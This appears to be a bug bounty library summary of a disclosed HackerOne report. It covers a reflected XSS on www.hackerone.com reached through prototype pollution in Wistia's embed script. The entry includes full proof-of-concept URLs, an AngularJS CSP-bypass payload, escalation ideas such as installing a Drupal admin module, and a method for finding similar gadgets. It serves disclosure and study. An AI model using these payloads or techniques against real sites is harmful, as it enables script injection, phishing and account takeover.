# Reflected XSS on www.hackerone.com via Wistia embed code

Wistia's E-v1.js parsed location query into Object.prototype, letting __proto__.innerHTML inject HTML into the embed element and bypass CSP via AngularJS to run script on www.hackerone.com.

- Payout: $500
- Severity: low
- Program: HackerOne
- Found by: vakzz
- Disclosed: 2020-09-24
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/986386
- Library page: https://bugbountylibrary.com/r/h1%3A986386
- Tags: area:web domain:web impact:integrity kind:bounty platform:hackerone sev:low technique:source-review vuln:prototype-pollution vuln:xss

**Target:** www.hackerone.com marketing site via Wistia E-v1.js embed script
**Root cause:** Wistia's i.url.parse writes query params like __proto__.innerHTML onto Object.prototype; elem.fromObject then iterates the property hash and applies the polluted innerHTML to a newly created element.
**Steps:**
1. Visit `https://www.hackerone.com/blog/scaling-security-startup-unicorn?__proto__[ggg]=aaa` and confirm `Object.prototype.ggg` in console.
2. Pollute `__proto__.innerHTML` with an iframe srcdoc containing AngularJS from cdnjs and an ng-on-error payload.
3. Add `__proto__.__global__=1`, `__proto__.t306dw04gl=1`, `__proto__.__wistia-t306dw04gl-1_dom_options__=1`, `__proto__.wistia-t306dw04gl-1=1` so the embed initializes without erroring.
4. Load the crafted URL; elem.fromObject sets innerHTML on the wistia_chrome element, injecting the iframe.
5. AngularJS in srcdoc executes ng-on-error, bypassing CSP via allowed *.cloudflare.com script src.
**How found:** Researcher read Wistia E-v1.js source, noticed i.url.parse on location.href and document.referrer, tested `?__proto__[ggg]=aaa` to confirm pollution, then traced elem.fromObject iterating a property hash to find the innerHTML gadget.
**Exploitation:** Attacker crafts a URL on www.hackerone.com; victim clicks it, prototype pollution injects an iframe with AngularJS that executes arbitrary JS in the hackerone.com origin, enabling phishing (redirect to hacker dashboard) or targeting a logged-in Drupal admin to install a malicious module.
**Escalation:** CSP bypass via AngularJS loaded from cdnjs (allowed *.cloudflare.com) inside iframe srcdoc; potential admin module install via /admin/modules/install.
**Insight:** Third-party embed scripts (Wistia, analytics) that parse location into objects are prime prototype-pollution sources; grep embed JS for url.parse(location) and for element-creation helpers that iterate a property hash (fromObject) to find innerHTML/attribute gadgets.

## Proof of concept (copied exactly from the original report)

**Full reflected XSS URL via prototype pollution**

```
https://www.hackerone.com/blog/scaling-security-startup-unicorn?__proto__.innerHTML=<iframe%20srcdoc%3d"<script%20src%3d%26quot%3bhttps%3a//cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.min.js%26quot%3b></script><body%20ng-app%20ng-csp><img%20src%3d/%20ng-on-error%3d$event.srcElement.ownerDocument.defaultView.parent.document.body.innerHTML%3d$event.srcElement.ownerDocument.defaultView.atob('PHN0eWxlPi5pMXthbmltYXRpb246IHJsIDEuNXMgaW5maW5pdGUgbGluZWFyOyB3aWR0aDogMjgwcHh9Lmkye2FuaW1hdGlvbjogcnIgMS41cyBpbmZpbml0ZSBsaW5lYXI7IHdpZHRoOiAyODBweH1Aa2V5ZnJhbWVzIHJse2Zyb217dHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRve3RyYW5zZm9ybTogcm90YXRlKDM1OWRlZyk7fX1Aa2V5ZnJhbWVzIHJye2Zyb217dHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRve3RyYW5zZm9ybTogcm90YXRlKC0zNTlkZWcpO319PC9zdHlsZT48YSBocmVmPS8vaGFja2Vyb25lLmNvbS9jb3JiM25paz48aW1nIGNsYXNzPWkxIHNyYz0vL2VtYmVkLWZhc3RseS53aXN0aWEuY29tL2RlbGl2ZXJpZXMvYjY3OGIxMTM1ODU4YjZlMzQ3NGEyYjE4ZDU1OGE1ODQ4MTk5MjNlYi5wbmc%2BPC9hPjxhIGhyZWY9Ly9oYWNrZXJvbmUuY29tL3Zha3p6PjxpbWcgY2xhc3M9aTIgc3JjPS8vZW1iZWQtZmFzdGx5Lndpc3RpYS5jb20vZGVsaXZlcmllcy9kYjY5ZjRjMzE5NWYxYTAwNjA1NmM0N2VhZWM5NmQ2YWMyYjM3NTU4LnBuZz48L2E%2BIDxicj5kb2N1bWVudC5kb21haW4gaXM6IA%3D%3D')%2b$event.srcElement.ownerDocument.domain></body>"></iframe>{{7*7}}&__proto__.__global__=1&__proto__.t306dw04gl=1&__proto__.__wistia-t306dw04gl-1_dom_options__=1&__proto__.wistia-t306dw04gl-1=1
```

**AngularJS CSP bypass payload in srcdoc**

```
<script src="//code.angularjs.org/1.8.0/angular.js"></script>
<div ng-app>
  <img
    src="/"
    ng-on-error="$event.srcElement.ownerDocument.defaultView.alert($event.srcElement.ownerDocument.domain)"
```

